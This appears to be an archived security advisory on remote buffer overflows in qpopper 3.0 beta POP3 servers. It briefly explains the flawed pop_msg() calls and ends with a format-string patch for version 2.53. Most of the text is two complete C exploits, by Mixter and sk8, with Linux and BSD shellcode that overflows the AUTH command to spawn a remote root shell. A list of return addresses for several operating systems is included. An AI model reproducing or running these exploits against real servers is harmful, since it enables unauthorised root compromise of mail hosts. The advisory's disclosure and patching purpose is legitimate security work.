COMMAND
qpopper
SYSTEMS AFFECTED
qpopper 3.0beta
PROBLEM
Mixter found following. There is a remote buffer overflow in the
qpop 3.0 server code that can lead to remote root compromise.
Vulnerable versions are all versions of qpop 3.0b, affected
operating systems are _all_ systems that run it. Versions 2.52
and 2.53 do not contain this bug. The latest version available
is 3.0b20, which is vulnerable, along with all previous 3.0
versions. These bugs only affected 3.0 betas.
The buffer overflow(s) are present in pop_msg.c (sounds familiar)
starting at line 68. All configurations and different builds
seem to be vulnerable, as either vsprintf or sprintf are used,
which both do not check bounds on the input buffers for each
argument. The overflow code should not contain characters
0x0c/x17/x20, because it would get interpreted as more than one
argument and hence fail.
/*
* Qpopper 3.0b remote exploit for x86 Linux (tested on RedHat/2.0.38)
*
* Dec 1999 by Mixter <mixter@newyorkoffice.com> / http://1337.tsx.org
*
* Exploits pop_msg buffer overflow to spawn a remote root shell.
* This probably works with the old qpop2 code for bsd, solaris anyone?
*
* WARNING: YOU ARE USING THIS SOFTWARE ON YOUR OWN RISK. THIS IS A
* PROOF-OF-CONCEPT PROGRAM AND YOU TAKE FULL RESPONSIBILITY FOR WHAT YOU
* DO WITH IT! DO NOT ABUSE THIS FOR ILLICIT PURPOSES!
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#define NOP 0x90
#define LEN 1032
#define CODESTART 880
#define RET 0xbfffd655
/* x86 linux shellcode. this can be a simple execve to /bin/sh on all
systems, but MUST NOT contain the characters 'x17' or 'x0c' because
that would split the exploit code into separate arg buffers */
char *shellcode =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab"
"\x89\xfa\x31\xc0\xab\xb0\x04\x04\x07\xcd\x80\x31\xc0\x89\xc3\x40\xcd\x80"
"\xe8\xd9\xff\xff\xff/bin/sh";
unsigned long resolve (char *);
void term (int, int);
unsigned long get_sp ();
int
main (int argc, char **argv)
{
char buffer[LEN];
char *codeptr = shellcode;
long retaddr = RET;
int i, s;
struct sockaddr_in sin;
if (argc < 2)
{
printf ("usage: %s <host> [offset]\n", argv[0]);
printf ("use offset -1 to try local esp\n");
exit (0);
}
if (argc > 2)
{
if (atoi (argv[2]) == -1)
{
/* 8000 = approx. byte offset to qpopper's top of stack
at the time it prints out the auth error message */
retaddr = get_sp () - 8000 - LEN;
printf ("Using local esp as ret address...\n");
}
retaddr += atoi (argv[2]);
}
for (i = 0; i < LEN; i++)
*(buffer + i) = NOP;
for (i = CODESTART + 2; i < LEN; i += 4)
*(int *) &buffer[i] = retaddr;
for (i = CODESTART; i < CODESTART + strlen (shellcode); i++)
*(buffer + i) = *(codeptr++);
buffer[0] = 'A';
buffer[1] = 'U';
buffer[2] = 'T';
buffer[3] = 'H';
buffer[4] = ' ';
printf ("qpop 3.0 remote root exploit (linux) by Mixter\n");
printf ("[return address: 0x%lx buffer size: %d code size: %d]\n",
retaddr, strlen (buffer), strlen (shellcode));
fflush (0);
sin.sin_family = AF_INET;
sin.sin_port = htons (110);
sin.sin_addr.s_addr = resolve (argv[1]);
s = socket (AF_INET, SOCK_STREAM, 0);
if (connect (s, (struct sockaddr *) &sin, sizeof (struct sockaddr)) < 0)
{
perror ("connect");
exit (0);
}
switch (write (s, buffer, strlen (buffer)))
{
case 0:
case -1:
fprintf (stderr, "write error: %s\n", strerror (errno));
break;
default:
break;
}
write (s, "\n\n", 1);
term (s, 0);
return 0;
}
unsigned long
resolve (char *host)
{
struct hostent *he;
struct sockaddr_in tmp;
if (inet_addr (host) != -1)
return (inet_addr (host));
he = gethostbyname (host);
if (he)
memcpy ((caddr_t) & tmp.sin_addr.s_addr, he->h_addr, he->h_length);
else
{
perror ("gethostbyname");
exit (0);
}
return (tmp.sin_addr.s_addr);
}
unsigned long
get_sp (void)
{
__asm__ ("movl %esp, %eax");
}
void
term (int p, int c)
{
char buf[LEN];
fd_set rfds;
int i;
while (1)
{
FD_ZERO (&rfds);
FD_SET (p, &rfds);
FD_SET (c, &rfds);
if (select ((p > c ? p : c) + 1, &rfds, NULL, NULL, NULL) < 1)
return;
if (FD_ISSET (c, &rfds))
{
if ((i = read (c, buf, sizeof (buf))) < 1)
exit (0);
else
write (p, buf, i);
}
if (FD_ISSET (p, &rfds))
{
if ((i = read (p, buf, sizeof (buf))) < 1)
exit (0);
else
write (c, buf, i);
}
}
}
Using offset 1 with your exploit will prompt a root shell with
version 3.0b18.
Lucid Solutions found it too. The 2.x series is not vunlnerable
because AUTH is not yet supported and the error returned by
attempting to use AUTH does not call pop_msg() with any user
input. There is also another overflow besides the AUTH overflow
which can occur if a valid username and password are first entered
also occuring in pop_msg().
pop_get_subcommand.c contains this line near the bottom in qpopper3.0b20:
pop_msg(p,POP_FAILURE,
"Unknown command: \"%s %s\".",p->pop_command,p->pop_subcommand);
No bounds checking is done on the attempted subcommand. It is
interesting to note that in qpop 2.53, a similar line is used,
but with limits on the string length!
pop_msg(p,POP_FAILURE,
"Unknown command: \"%.128s %.128s\".",p->pop_command,
p->pop_subcommand);
One would guess Qualcomm did not continue development of Qpopper
directly from the 2.53 series, but rewrote code from scratch
and/or based it on earlier code. As a solution, pop_msg() should
also do bounds checking, and not make the calling line
responsible for it (althought that's good practice too).
Attached is sk8's original exploit that works on *BSD and Linux.
(Solaris is NOT vulnerable to the AUTH overflow). Slight
modification is needed on one line as the comments say. This
exploit will actually work on the majority of machines then.
/* QPOP version 3.0b20 and lower beta versions REMOTE EXPLOIT
* combination *BSD and Linux
*
* sk8@lucid-solutions.com
* http://www.lucid-solutions.com
*
* I have written this to test and demonstrate vulnerabilities on clients'
* systems only.
*
* !!!!!!!!!!DO NOT distribute!!!!!!!!!!
* (at least not until Qualcomm issues a patch)
*
* You may only use this to test your own system(s).
* I am not responsible for any unauthorized use of this program.
*
* tested on BSDI 3.0/4.0.1, FreeBSD 2.2.8/3.3, Linux
*
* Since popper is usually compiled by the admin, return addresses will vary,
* but I have included common values. You may have to provide an offset
* to get it to work on your system.
*
* I wrote the exploit near the beginning of November 1999, and unlike some
* other exploits I've seen since, this one works even on Linux boxes on which
* inetd was not started from a shell prompt.
*
* One minor change must be made for this to exploit the AUTH overflow.
*
* Usage: If you can't figure out how to use this, you shouldn't
* be in the security business. (try netcat)
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
unsigned int NOP=0x90;
unsigned long offset=0; /* default offset */
char bsdsc[]=
"\xeb\x32\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x12\x89\x5e\x17"
"\x88\x5e\x1c\x8d\x1e\x89\x5e\x0e\x31\xc0\xb0\x3b\x8d\x7e"
"\x0e\x89\xfa\x89\xf9\xbf\x10\x10\x10\x10\x29\x7e\xf5\x89"
"\xcf\xeb\x01\xff\x62\x61\x63\x60\xeb\x1b\xe8\xc9\xff\xff"
"\xff/bin/sh\xaa\xaa\xaa\xaa\xff\xff\xff\xbb\xbb\xbb\xbb"
"\xcc\xcc\xcc\xcc\x9a\xaa\xaa\xaa\xaa\x07\xaa";
char linuxsc[]=
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
struct version {
int num;
char* systype;
int buffer_length;
long address;
};
struct version verlist[] = {
{0, "BSDI 2.x/3.x, FreeBSD 2.x", 1001, 0xefbfd56c},
{1, "BSDI 4.x", 1001, 0x8047564},
{2, "FreeBSD 3.x", 1001, 0xbfbfd3dc},
{3, "Linux", 990, 0xbfffd304},
{0, 0, 0, 0}
};
int main(int argc, char** argv) {
char* buffer, *shellcode;
int buflen, i=0, ver, retaddr, align=0;
struct sockaddr_in sockaddr;
struct hostent* host;
if (argc < 2) {
printf("Usage: %s version [offset]\n", argv[0]);
i=-1;
printf("\nAvailable versions:\n");
while (verlist[++i].systype) {
printf(" %d: %s\n", verlist[i].num, verlist[i].systype);
}
printf("\n");
exit(-1);
}
ver=atoi(argv[1]);
if (argc > 2) {
offset=atoi(argv[2]);
}
if (strstr(verlist[ver].systype, "Linux")) {
shellcode=linuxsc;
align=2;
}
else shellcode=bsdsc;
buflen=verlist[ver].buffer_length;
retaddr=verlist[ver].address;
buffer=(char*)malloc(buflen);
memset(buffer, NOP, buflen);
memcpy(buffer, "AUTH ", 4);
memcpy(buffer+800, shellcode, strlen(shellcode));
for (i=800+strlen(shellcode)+align; i< buflen-4; i+=4) {
*((unsigned long int *)&buffer[i])=retaddr+offset;
}
buffer[buflen-2]='\n';
buffer[buflen-1]='\n';
printf("%s\n", buffer);
}
SOLUTION
Fixed in 3.0b22. Evan it was said that these bug only affected
3.0 betas this iseems to be bullshit. In pop_euidl() in file
pop_uidl.c (qpop-2.53):
} else {
sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
if (nl = index(buffer, NEWLINE)) *nl = 0;
sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p,mp));
return (pop_msg (p,POP_SUCCESS, buffer)); <-- *here*
}
It looks good, but...
pop_msg(POP *p, int stat, const char *format,...)
So this function need format and some other data. Luckly for the
greatest Qualcomm qpop changes privs so we have only gid mail, but
if we have a non-shell account, we can "get" a shell... Ofcourse
it's hard to exploit. Patch on qpop-2.53 ...
--- pop_uidl.c Thu Oct 7 02:02:44 1999
+++ pop_uidl.c Sat Oct 9 20:34:00 1999
@@ -59,7 +59,7 @@
sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
if (nl = index(buffer, NEWLINE)) *nl = 0;
- return (pop_msg (p,POP_SUCCESS, buffer));
+ return (pop_msg (p,POP_SUCCESS,"%s", buffer)); // patched by z33d
}
} else {
/* yes, we can do this */
@@ -149,7 +149,7 @@
sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
if (nl = index(buffer, NEWLINE)) *nl = 0;
sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, mp));
- return (pop_msg (p,POP_SUCCESS, buffer));
+ return (pop_msg (p,POP_SUCCESS,"%s", buffer)); // patched by z33d
}
} else {
/* yes, we can do this */